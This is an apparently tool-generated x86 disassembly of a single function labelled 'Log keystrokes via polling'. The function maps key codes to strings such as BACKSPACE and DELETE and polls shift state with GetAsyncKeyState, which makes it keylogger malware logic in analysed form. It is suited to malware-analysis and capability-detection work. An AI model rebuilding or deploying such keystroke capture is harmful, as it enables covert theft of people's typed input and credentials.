Function at 0x401bf8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1d4
mov eax, dword [ebp + 8]
cmp eax, 0x6a
je 0x401fc9
cmp eax, 0x6a
jg 0x401c74
cmp eax, 0x20
je 0x401de9
cmp eax, 0x20
jg 0x401c41
cmp eax, 0xd
je 0x401dcb
cmp eax, 0x14
je 0x401db2
cmp eax, 8
je 0x401d52
jmp 0x402348
cmp eax, 0x27
je 0x401ea9
cmp eax, 0x27
jg 0x401c5d
cmp eax, 0x25
je 0x401e49
jmp 0x402348
cmp eax, 0x29
je 0x401f09
cmp eax, 0x2e
je 0x401f69
jmp 0x402348
cmp eax, 0xa5
je 0x401cf2
cmp eax, 0xa5
jg 0x401cb5
cmp eax, 0x6d
je 0x402089
cmp eax, 0x6d
jg 0x401c9e
cmp eax, 0x6b
je 0x402029
jmp 0x402348
cmp eax, 0x6e
je 0x4020e9
cmp eax, 0x6f
je 0x402149
jmp 0x402348
cmp eax, 0xbc
je 0x40220a
cmp eax, 0xbc
jg 0x401cd7
cmp eax, 0xbb
je 0x4021a0
jmp 0x402348
cmp eax, 0xbd
je 0x402274
cmp eax, 0xbe
je 0x4022de
jmp 0x402348
lea eax, [ebp - 0x1ad]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x1c8]
lea edx, [ebp - 0x1ad]
mov dword [esp + 4], edx
mov dword [esp], str.ALT_GR
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x1c8]
mov dword [esp], eax
call sym.writeString_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x1c8]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x1ad]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x191]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x1ac]
lea edx, [ebp - 0x191]
mov dword [esp + 4], edx
mov dword [esp], str.BACKSPACE
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x1ac]
mov dword [esp], eax
call sym.writeString_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x1ac]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x191]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
movzx eax, byte [0x408020]
xor eax, 1
mov byte [0x408020], al
mov eax, 1
jmp 0x4025d7
mov dword [esp + 4], 0x406177
mov dword [esp], 0x408040
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x175]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x190]
lea edx, [ebp - 0x175]
mov dword [esp + 4], edx
mov dword [esp], 0x406160
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x190]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x190]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x175]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x159]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x174]
lea edx, [ebp - 0x159]
mov dword [esp + 4], edx
mov dword [esp], str.LEFT
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x174]
mov dword [esp], eax
call sym.writeString_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x174]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x159]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x13d]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x158]
lea edx, [ebp - 0x13d]
mov dword [esp + 4], edx
mov dword [esp], str.RIGHT
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x158]
mov dword [esp], eax
call sym.writeString_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x158]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x13d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x121]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x13c]
lea edx, [ebp - 0x121]
mov dword [esp + 4], edx
mov dword [esp], str.SELECT
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x13c]
mov dword [esp], eax
call sym.writeString_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x13c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x121]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x105]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x120]
lea edx, [ebp - 0x105]
mov dword [esp + 4], edx
mov dword [esp], str.DELETE
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x120]
mov dword [esp], eax
call sym.writeString_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x120]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x105]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0xe9]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x104]
lea edx, [ebp - 0xe9]
mov dword [esp + 4], edx
mov dword [esp], str._____:.
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x104]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x104]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xe9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0xcd]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0xe8]
lea edx, [ebp - 0xcd]
mov dword [esp + 4], edx
mov dword [esp], 0x406194
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xe8]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0xe8]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xcd]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0xb1]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0xcc]
lea edx, [ebp - 0xb1]
mov dword [esp + 4], edx
mov dword [esp], 0x406196
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xcc]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0xcc]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0xb1]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x95]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0xb0]
lea edx, [ebp - 0x95]
mov dword [esp + 4], edx
mov dword [esp], 0x406198
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xb0]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0xb0]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x95]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x79]
mov ecx, eax
call fcn.004026bc
lea eax, [ebp - 0x94]
lea edx, [ebp - 0x79]
mov dword [esp + 4], edx
mov dword [esp], 0x40619a
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x94]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x94]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x79]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x5d]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x4021c5
mov ecx, str._____:.
jmp 0x4021ca
mov ecx, 0x406194
lea eax, [ebp - 0x78]
lea edx, [ebp - 0x5d]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x78]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x5d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x41]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x40222f
mov ecx, 0x40619c
jmp 0x402234
mov ecx, 0x406198
lea eax, [ebp - 0x5c]
lea edx, [ebp - 0x41]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x5c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x41]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 0x25]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x402299
mov ecx, 0x40619e
jmp 0x40229e
mov ecx, 0x406196
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x25]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x40]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x40]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x25]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
lea eax, [ebp - 9]
mov ecx, eax
call fcn.004026bc
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x402303
mov ecx, 0x4061a0
jmp 0x402308
mov ecx, 0x4061a2
lea eax, [ebp - 0x24]
lea edx, [ebp - 9]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sym.writeSpecial_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov eax, 1
jmp 0x4025d7
mov eax, 0
jmp 0x4025d7
mov ebx, dword [ebp - 4]
leave
ret